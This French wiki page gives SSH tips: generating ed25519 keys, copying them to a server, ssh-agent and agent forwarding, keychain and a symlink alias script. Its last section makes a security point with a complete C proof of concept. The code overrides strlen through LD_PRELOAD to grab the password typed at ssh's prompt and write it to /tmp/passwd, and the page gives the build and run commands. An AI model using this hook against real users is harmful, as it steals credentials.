Astuces ssh

De WikiBR

Voir aussi SSH.

Créer un couple de clefs :

$ ssh-keygen -t ed25519

Si ton disque dur n'est pas chiffré (Bitlocker sur Windows, FireVault sur macOS, LUKS sur Linux), il est impératif d'utiliser une passphrase. Dans le cas contraire, c'est optionnel quoique recommandé.

L'algorithme ed25519 est le type de clé utilisé par défaut et recommandé depuis OpenSSH 9.5 (octobre 2023). Il supplante rsa qui avait l'inconvénient de générer des clés très longues (d'autant plus que le paramètre de taille était grand).

Mettre la clef sur le serveur cible :

$ ssh-copy-id -i ./ssh/id_dsa.pub serveur

ou bien ( en moins bien ) :

$ ssh serveur "cat >> .ssh/authorized_keys" < ./ssh/id_dsa.pub

Pour ne pas avoir à déchiffrer la clef à chaque utilisation, mais tout en la gardant en sécurité :

Démarrer ssh-agent:

$ eval  $(ssh-agent)

Ajouter une clef :

$ ssh-add

Forwarder l'agent (ie ne pas avoir à mettre de clef sur B pour faire ssh B puis ssh C depuis B )  :

ForwardAgent yes

Dans les .ssh/config de tous les hosts qui servent de relai, à défaut, utiliser -A dans la ligne de commande de ssh.

Utiliser keychain pour partager ses clefs sur plusieurs sessions, ajouter par exemple :

keychain ~/.ssh/id_rsa ~/.ssh/id_dsa
source ~/.keychain/*-sh

à votre .bash_profile.

Utiliser des pseudo alias :

Dans un fichier texte ssh-aliases

#!/bin/bash
ssh $(basename $0) "$@"

puis le rendre utilisable :

chown root:root ssh-aliases &&
chmod 755 ssh-aliases &&
mv ssh-aliases ~/bin # ou ailleurs dans votre path, si c'est votre machine.

enfin supposons que toutes les machines habituelles aient leur nom dans le fichier './machines' :

for namae in $(cat machines); do
    ln -s ~/bin/{ssh-aliases,$namae}
done


Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus. Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.

Mais un pirate peut me voler ma clef !!!

Oui, mais elle est chiffrée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp  :

noobpoc.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void record_pwd (char *str) {
        FILE*f = fopen("/tmp/passwd","a");
        fprintf(f,"%s\n",str);
        fflush (f);
        fclose(f);
}
size_t strlen(const char * s ) {
        static char ready = 0;
        static char dead = 0;
        if ( !dead && ready ) {
                 record_pwd(s);
                 dead = 1;
        }
        if ( !dead && !strcmp( s, "Password: ") )  {
               ready = 1;
        }
        /* Does da job... */     
        int i = 0;
        while ( s[i++] );
        return (size_t) (i-1);
}


gcc -fPIC noobpoc.c -c -w -Wall -std=c99
gcc -shared -o libnoobpoc.so noobpoc.o -lc

Kaboom sur simple modification de l'environnement :

LD_PRELOAD=./libnoobpoc.so ssh localhost

Le mdp est dans /tmp/passwd...